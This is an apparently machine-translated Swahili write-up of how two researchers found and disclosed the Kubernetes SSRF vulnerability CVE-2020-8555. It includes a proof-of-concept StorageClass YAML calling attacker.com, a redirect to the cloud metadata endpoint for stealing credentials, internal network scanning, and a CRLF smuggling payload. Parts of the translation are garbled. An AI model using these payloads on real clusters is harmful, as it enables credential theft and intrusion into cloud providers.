Wakati sio tu kuhusu udhaifu wa Kubernetes...

Kumbuka. tafsiri.: waandishi wa makala haya wanazungumza kwa kina kuhusu jinsi walivyoweza kugundua udhaifu huo CVE-2020–8555 katika Kubernetes. Ingawa mwanzoni haikuonekana kuwa hatari sana, pamoja na mambo mengine uhakiki wake uligeuka kuwa wa juu kwa watoa huduma wengine wa wingu. Mashirika kadhaa yaliwatuza wataalamu hao kwa ukarimu kwa kazi yao.

Sisi ni nani

Sisi ni watafiti wawili wa usalama wa Ufaransa ambao kwa pamoja waligundua uwezekano wa kuathiriwa huko Kubernetes. Majina yetu ni Brice Augras na Christophe Hauquiert, lakini kwenye majukwaa mengi ya Bug Bounty tunajulikana kama Reeverzax na Hach mtawalia:

• Brice Augras - Kampuni ya Groupe Asten;
• Christophe Hauquiert - Mbunifu wa Kubernetes katika Nokia.

Nini kimetokea?

Makala haya ni njia yetu ya kushiriki jinsi mradi wa kawaida wa utafiti ulivyogeuka bila kutarajiwa kuwa tukio la kusisimua zaidi katika maisha ya wawindaji wadudu (angalau kwa sasa).

Kama unavyojua, wawindaji wa mende wana sifa kadhaa muhimu:

• wanaishi kwa pizza na bia;
• wanafanya kazi wakati kila mtu amelala.

Hatuna ubaguzi kwa sheria hizi: kwa kawaida tunakutana wikendi na kutumia usiku bila kulala tukidukua. Lakini moja ya usiku huu uliisha kwa njia isiyo ya kawaida sana.

Hapo awali tulikuwa tunakutana kujadili ushiriki CTF Siku inayofuata. Wakati wa mazungumzo kuhusu usalama wa Kubernetes katika mazingira ya huduma inayosimamiwa, tulikumbuka wazo la zamani la SSRF (Ughushi wa Ombi la Upande wa Seva) na kuamua kujaribu kuitumia kama hati ya kushambulia.

Saa 11 jioni tuliketi kufanya utafiti wetu na kulala mapema asubuhi, tukiwa tumeridhika sana na matokeo. Ilikuwa ni kwa sababu ya utafiti huu ndipo tulipokutana na mpango wa Fadhila wa Mdudu wa MSRC na tukapata unyonyaji wa kukuza fursa.

Wiki/miezi kadhaa zilipita, na matokeo yetu yasiyotarajiwa yalisababisha mojawapo ya zawadi bora zaidi katika historia ya Fadhila ya Azure Cloud Bug - pamoja na ile tuliyopokea kutoka Kubernetes!

Kulingana na mradi wetu wa utafiti, Kamati ya Usalama wa Bidhaa ya Kubernetes ilichapisha CVE-2020–8555.

Sasa ningependa kueneza habari kuhusu uwezekano wa kuathiriwa iwezekanavyo. Tunatumahi kuwa utathamini kupatikana na kushiriki maelezo ya kiufundi na wanachama wengine wa jumuia ya infosec!

Kwa hivyo hadithi yetu ...

Muktadha

Ili kuleta maana zaidi ya kile kilichotokea, hebu kwanza tuangalie jinsi Kubernetes inavyofanya kazi katika mazingira yanayodhibitiwa na wingu.

Unapoanzisha kundi la Kubernetes katika mazingira kama haya, safu ya usimamizi kwa kawaida huwa ni jukumu la mtoa huduma wa wingu:

Safu ya udhibiti iko kwenye mzunguko wa mtoa huduma wa wingu, wakati nodi za Kubernetes ziko kwenye eneo la mteja.

Ili kutenga kiasi kwa nguvu, utaratibu hutumiwa kuzitoa kwa nguvu kutoka kwa hifadhi ya nje na kuzilinganisha na PVC (dai la sauti linaloendelea, yaani, ombi la sauti).

Kwa hivyo, baada ya PVC kuundwa na kufungwa kwa StorageClass katika kundi la K8s, vitendo zaidi vya kutoa kiasi vinachukuliwa na meneja wa kidhibiti cha kube/wingu (jina lake halisi linategemea kutolewa). (Kumbuka. tafsiri.: Tayari tumeandika zaidi kuhusu CCM kwa kutumia mfano wa utekelezaji wake kwa mmoja wa watoa huduma za clouds hapa.)

Kuna aina kadhaa za watoa huduma wanaoungwa mkono na Kubernetes: wengi wao wamejumuishwa msingi wa orchestrator, huku nyingine zikisimamiwa na watoa huduma wa ziada ambao huwekwa kwenye maganda kwenye nguzo.

Katika utafiti wetu, tuliangazia utaratibu wa utoaji wa ujazo wa ndani, ambao umeonyeshwa hapa chini:

Utoaji wenye nguvu wa juzuu kwa kutumia mtoaji aliyejengewa ndani wa Kubernetes

Kwa kifupi, Kubernetes inapotumiwa katika mazingira yanayodhibitiwa, msimamizi wa kidhibiti ni wajibu wa mtoa huduma wa wingu, lakini ombi la kuunda sauti (nambari 3 kwenye mchoro hapo juu) huacha mtandao wa ndani wa mtoa huduma wa wingu. Na hapa ndipo mambo yanavutia sana!

Hali ya udukuzi

Katika sehemu hii, tutaelezea jinsi tulivyotumia fursa ya mtiririko wa kazi uliotajwa hapo juu na kufikia rasilimali za ndani za mtoa huduma wa wingu. Pia itakuonyesha jinsi unavyoweza kutekeleza vitendo fulani, kama vile kupata vitambulisho vya ndani au haki zinazoongezeka.

Udanganyifu mmoja rahisi (katika kesi hii, Ughushi wa Ombi la Upande wa Huduma) ulisaidia kupita zaidi ya mazingira ya mteja katika makundi ya watoa huduma mbalimbali chini ya K8 zinazosimamiwa.

Katika utafiti wetu tuliangazia mtoaji wa GlusterFS. Licha ya ukweli kwamba mlolongo zaidi wa vitendo umeelezewa katika muktadha huu, Quobyte, StorageOS na ScaleIO zinaweza kuathiriwa sawa.

Matumizi mabaya ya utaratibu wa utoaji wa kiasi kinachobadilika

Wakati wa uchambuzi wa darasa la kuhifadhi GlusterFS katika msimbo wa chanzo wa mteja wa Golang sisi nilionakwamba kwa ombi la kwanza la HTTP (3) lililotumwa wakati wa kuunda kiasi, hadi mwisho wa URL maalum kwenye kigezo resturl imeongezwa /volumes.

Tuliamua kuondoa njia hii ya ziada kwa kuongeza # katika parameter resturl. Huu hapa ni usanidi wa kwanza wa YAML tuliotumia kujaribu kuathiriwa na SSRF ya nusu kipofu. (unaweza kusoma zaidi kuhusu nusu-kipofu au nusu-kipofu SSRF, kwa mfano, hapa - takriban. tafsiri.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Kisha tukatumia mfumo wa jozi kudhibiti nguzo ya Kubernetes kwa mbali kubectl. Kwa kawaida, watoa huduma za wingu (Azure, Google, AWS, n.k.) hukuruhusu kupata kitambulisho cha matumizi katika shirika hili.

Shukrani kwa hili, niliweza kutumia faili yangu "maalum". Kube-controller-manager alitekeleza ombi la HTTP lililosababisha:

kubectl create -f sc-poc.yaml

Jibu kutoka kwa mtazamo wa mshambuliaji

Muda mfupi baada ya hili, tuliweza pia kupokea jibu la HTTP kutoka kwa seva inayolengwa - kupitia amri describe pvc au get events katika kubectl. Na hakika: kiendesha chaguo-msingi cha Kubernetes ni kitenzi sana katika maonyo/jumbe zake za makosa...

Hapa kuna mfano na kiunga cha https://www.google.frkuweka kama parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Kwa njia hii, tulipunguzwa kwa maswali kama HTTP POST na haikuweza kupata yaliyomo kwenye bodi ya majibu ikiwa nambari ya kurejesha ilikuwa 201. Kwa hivyo, tuliamua kufanya utafiti wa ziada na kupanua hali hii ya udukuzi kwa mbinu mpya.

Maendeleo ya utafiti wetu

• Hali ya Kina #1: Kutumia uelekezaji upya wa 302 kutoka kwa seva ya nje ili kubadilisha mbinu ya HTTP ili kutoa njia rahisi zaidi ya kukusanya data ya ndani.
• Hali ya Kina #2: Weka kiotomatiki utambazaji wa LAN na ugunduzi wa rasilimali ya ndani.
• Hali ya kina #3: kutumia HTTP CRLF + magendo ("ombi la kusafirisha kwa njia ya magendo") ili kuunda maombi maalum ya HTTP na kurejesha data iliyotolewa kutoka kwa kumbukumbu za kidhibiti cha kube.

Vipimo vya Kiufundi

• Utafiti ulitumia Huduma ya Azure Kubernetes (AKS) yenye toleo la 1.12 la Kubernetes katika eneo la Ulaya Kaskazini.
• Matukio yaliyoelezwa hapo juu yalitekelezwa kwenye matoleo mapya zaidi ya Kubernetes, isipokuwa tukio la tatu, kwa sababu. alihitaji Kubernetes iliyojengwa kwa toleo la Golang ≤ 1.12.
• Seva ya nje ya mshambuliaji - https://attacker.com.

Hali ya Kina #1: Kuelekeza upya ombi la HTTP POST ili KUPATA na kupokea data nyeti

Mbinu asili iliboreshwa na usanidi wa seva ya mvamizi ili kurejea 302 HTTP Retcodekubadilisha ombi la POST kuwa ombi la GET (hatua ya 4 kwenye mchoro):

Ombi la kwanza (3) linalotoka kwa mteja GlusterFS (Meneja wa Kidhibiti), ana aina ya POST. Kwa kufuata hatua hizi tuliweza kuibadilisha kuwa GET:

• Kama kigezo resturl katika StorageClass imeonyeshwa http://attacker.com/redirect.php.
• Mwisho https://attacker.com/redirect.php hujibu kwa msimbo wa hali ya 302 wa HTTP wenye Kijajuu cha Mahali kifuatacho: http://169.254.169.254. Hii inaweza kuwa rasilimali nyingine yoyote ya ndani - katika kesi hii, kiungo cha kuelekeza kinatumika tu kama mfano.
• By default maktaba ya mtandao/http Golang huelekeza ombi upya na kubadilisha POST hadi GET yenye msimbo wa hali ya 302, na kusababisha ombi la HTTP GET kwa rasilimali inayolengwa.

Ili kusoma mwili wa majibu ya HTTP unahitaji kufanya describe Kitu cha PVC:

kubectl describe pvc xxx

Huu hapa ni mfano wa jibu la HTTP katika umbizo la JSON ambalo tuliweza kupokea:

Uwezo wa athari zilizopatikana wakati huo ulikuwa mdogo kwa sababu ya mambo yafuatayo:

• Kutokuwa na uwezo wa kuingiza vichwa vya HTTP kwenye ombi linalotoka.
• Kutokuwa na uwezo wa kutekeleza ombi la POST na vigezo kwenye mwili (hii ni rahisi kuomba dhamana kuu kutoka kwa mfano wa etcd unaoendelea 2379 bandari ikiwa HTTP ambayo haijasimbwa inatumika).
• Kutokuwa na uwezo wa kurejesha maudhui ya mwili wa majibu wakati msimbo wa hali ulikuwa 200 na jibu halikuwa na Aina ya Maudhui ya JSON.

Hali ya kina #2: Kuchanganua mtandao wa karibu

Mbinu hii ya SSRF ya nusu upofu ilitumiwa kuchanganua mtandao wa ndani wa mtoa huduma wa mtandao na kupigia kura huduma mbalimbali za usikilizaji (mfano wa Metadata, Kubelet, n.k.) kulingana na majibu. kidhibiti cha kubeba.

Kwanza, bandari za kawaida za kusikiliza za vipengele vya Kubernetes zilidhamiriwa (8443, 10250, 10251, nk), na kisha ilibidi tufanye mchakato wa skanning otomatiki.

Kwa kuona kwamba njia hii ya skanning rasilimali ni maalum sana na haiendani na vichanganuzi vya kawaida na zana za SSRF, tuliamua kuunda wafanyikazi wetu wenyewe katika hati ya bash inayoendesha mchakato mzima kiotomatiki.

Kwa mfano, ili kuchambua haraka safu ya 172.16.0.0/12 ya mtandao wa ndani, wafanyikazi 15 walizinduliwa sambamba. Masafa ya IP yaliyo hapo juu yamechaguliwa kama mfano pekee na yanaweza kubadilika kwa masafa mahususi ya IP ya mtoa huduma wako.

Ili kuchanganua anwani moja ya IP na mlango mmoja, unahitaji kufanya yafuatayo:

• futa StorageClass iliyoangaliwa mwisho;
• ondoa Dai la awali la Kiasi cha Kudumu kilichothibitishwa;
• badilisha maadili ya IP na Port sc.yaml;
• unda StorageClass na IP mpya na bandari;
• kuunda PVC mpya;
• toa matokeo ya skanisho kwa kutumia maelezo ya PVC.

Hali ya hali ya juu #3: Sindano ya CRLF + ulanguzi wa HTTP katika matoleo "ya zamani" ya nguzo ya Kubernetes

Ikiwa kwa kuongeza hii mtoa huduma aliwapa wateja matoleo ya zamani ya nguzo ya K8s и iliwapa ufikiaji wa kumbukumbu za kube-controller-manager, athari ikawa muhimu zaidi.

Kwa hakika ni rahisi zaidi kwa mshambulizi kubadilisha maombi ya HTTP yaliyoundwa ili kupata jibu kamili la HTTP kwa hiari yake.

Ili kutekeleza hali ya mwisho, masharti yafuatayo yalipaswa kutimizwa:

• Mtumiaji lazima apate ufikiaji wa kumbukumbu za meneja wa kube-controller (kama, kwa mfano, katika Azure LogInsights).
• Kundi la Kubernetes lazima litumie toleo la Golang chini ya 1.12.

Tuliweka mazingira ya ndani ambayo yaliiga mawasiliano kati ya mteja wa GlusterFS Go na seva inayolengwa ghushi (tutaepuka kuchapisha PoC kwa sasa).

Ilipatikana kuathirika, inayoathiri matoleo ya Golang yaliyo chini ya 1.12 na kuruhusu wavamizi kutekeleza mashambulizi ya HTTP/CRLF.

Kwa kuchanganya nusu-kipofu SSRF ilivyoelezwa hapo juu вместе kwa hili, tuliweza kutuma maombi tunayopenda, ikiwa ni pamoja na kubadilisha vichwa, mbinu ya HTTP, vigezo na data, ambayo kube-controller-manager kisha kuchakatwa.

Hapa kuna mfano wa "bait" ya kufanya kazi katika parameter resturl StorageClass, ambayo hutumia hali kama hiyo ya shambulio:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Matokeo yake ni hitilafu jibu lisiloombwa, ujumbe ambao umerekodiwa kwenye kumbukumbu za kidhibiti. Shukrani kwa verbosity kuwezeshwa na chaguo-msingi, maudhui ya ujumbe wa majibu ya HTTP pia huhifadhiwa hapo.

Hiki kilikuwa "chambo" chetu chenye ufanisi zaidi ndani ya mfumo wa uthibitisho wa dhana.

Kwa kutumia mbinu hii, tuliweza kutekeleza baadhi ya mashambulizi yafuatayo kwa makundi ya watoa huduma mbalimbali wa k8s: ongezeko la mapendeleo na vitambulisho kwenye matukio ya metadata, Master DoS kupitia (havijasimbwa) maombi ya HTTP kwenye matukio makuu ya etcd, n.k.

madhara

Katika taarifa rasmi ya Kubernetes kuhusu kuathirika kwa SSRF tuliyogundua, ilikadiriwa CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ikiwa tutazingatia tu uwezekano wa kuathiriwa unaohusishwa na eneo la Kubernetes, vekta ya uadilifu (vekta ya uadilifu) inahitimu kama hakuna.

Hata hivyo, kutathmini matokeo yanayoweza kutokea katika muktadha wa mazingira ya huduma inayodhibitiwa (na hii ndiyo ilikuwa sehemu ya kuvutia zaidi ya utafiti wetu!) ilitusukuma kuainisha upya udhaifu huo kuwa ukadiriaji. CVSS10/10 muhimu kwa wasambazaji wengi.

Ifuatayo ni maelezo ya ziada ya kukusaidia kuelewa mambo tunayozingatia wakati wa kutathmini athari zinazoweza kutokea katika mazingira ya wingu:

Uadilifu

• Tekeleza amri ukiwa mbali kwa kutumia vitambulisho vya ndani vilivyopatikana.
• Inazalisha hali iliyo hapo juu kwa kutumia mbinu ya IDOR (Insecure Direct Object Reference) na nyenzo zingine zinazopatikana kwenye mtandao wa karibu.

Usiri

• Aina ya mashambulizi Harakati ya baadaye shukrani kwa wizi wa vitambulisho vya wingu (kwa mfano, API ya metadata).
• Kukusanya taarifa kwa kuchanganua mtandao wa ndani (kuamua toleo la SSH, toleo la seva ya HTTP, ...).
• Kusanya maelezo ya mfano na miundombinu kwa kupigia kura API za ndani kama vile API ya metadata (http://169.254.169.254, ...).
• Kuiba data ya mteja kwa kutumia vitambulisho vya mtandaoni.

Upatikanaji

Matukio yote ya matumizi yanayohusiana na vekta za kushambulia uadilifu, inaweza kutumika kwa vitendo vya uharibifu na kusababisha hali bora kutoka kwa mzunguko wa mteja (au nyingine yoyote) kutopatikana.

Kwa kuwa tulikuwa katika mazingira ya K8 yanayosimamiwa na kutathmini athari kwenye uadilifu, tunaweza kufikiria hali nyingi ambazo zinaweza kuathiri upatikanaji. Mifano ya ziada ni pamoja na kuharibu hifadhidata ya etcd au kupiga simu muhimu kwa Kubernetes API.

Chronology

• Tarehe 6 Desemba 2019: Athari inaripotiwa kwa MSRC Bug Bounty.
• Tarehe 3 Januari 2020: Mtu wa tatu aliwafahamisha wasanidi wa Kubernetes kwamba tunashughulikia suala la usalama. Na kuwataka kuzingatia SSRF kama hatari ya ndani (ya msingi). Kisha tulitoa ripoti ya jumla yenye maelezo ya kiufundi kuhusu chanzo cha tatizo.
• Tarehe 15 Januari 2020: Tulitoa ripoti za kiufundi na za jumla kwa wasanidi wa Kubernetes baada ya ombi lao (kupitia jukwaa la HackerOne).
• Tarehe 15 Januari 2020: Wasanidi wa Kubernetes walitufahamisha kuwa sindano ya SSRF + CRLF isiyoweza kufikiwa kwa matoleo ya awali inachukuliwa kuwa hatari ya ndani. Tuliacha mara moja kuchanganua vigezo vya watoa huduma wengine: timu ya K8s sasa ilikuwa inashughulikia chanzo kikuu.
• Januari 15, 2020: Zawadi ya MSRC ilipokelewa kupitia HackerOne.
• Januari 16, 2020: Kubernetes PSC (Kamati ya Usalama wa Bidhaa) ilitambua hatari hiyo na ikaomba ifanye siri hadi katikati ya Machi kutokana na idadi kubwa ya waathiriwa.
• Tarehe 11 Februari 2020: Zawadi ya Google VRP ilipokelewa.
• Tarehe 4 Machi 2020: Zawadi ya Kubernetes ilipokelewa kupitia HackerOne.
• Machi 15, 2020: Ufichuzi wa umma uliokuwa umeratibiwa awali uliahirishwa kwa sababu ya hali ya COVID-19.
• Tarehe 1 Juni 2020: Taarifa ya pamoja ya Kubernetes + Microsoft kuhusu uwezekano wa kuathirika.

TL; DR

• Tunakunywa bia na kula pizza :)
• Tuligundua uwezekano wa kuathiriwa katika Kubernetes, ingawa hatukuwa na nia ya kufanya hivyo.
• Tulifanya uchanganuzi wa ziada kwenye makundi ya watoa huduma mbalimbali wa mtandao na tukaweza kuongeza uharibifu unaosababishwa na athari ya kupokea bonasi za ziada za kupendeza.
• Utapata maelezo mengi ya kiufundi katika makala hii. Tutafurahi kuyajadili na wewe (Twitter: @ReeverZax & @__hach_).
• Ilibainika kuwa kila aina ya taratibu na kuripoti kulichukua muda mrefu zaidi kuliko ilivyotarajiwa.

marejeo

• Kundi la Google kubernetes-security-kutangaza;
• CVE-2020-8555;
• toleo la golang #30794;
• heketi/client/api/go-client/volume.go.

PS kutoka kwa mtafsiri

Soma pia kwenye blogi yetu:

• «Uwindaji wa wadudu wa Kubernetes umefunguliwa rasmi";
• «Kuondoka kwenye ganda la Kubernetes kwa kupachika magogo";
• «33+ Kubernetes zana za usalama'.

Chanzo: mapenzi.com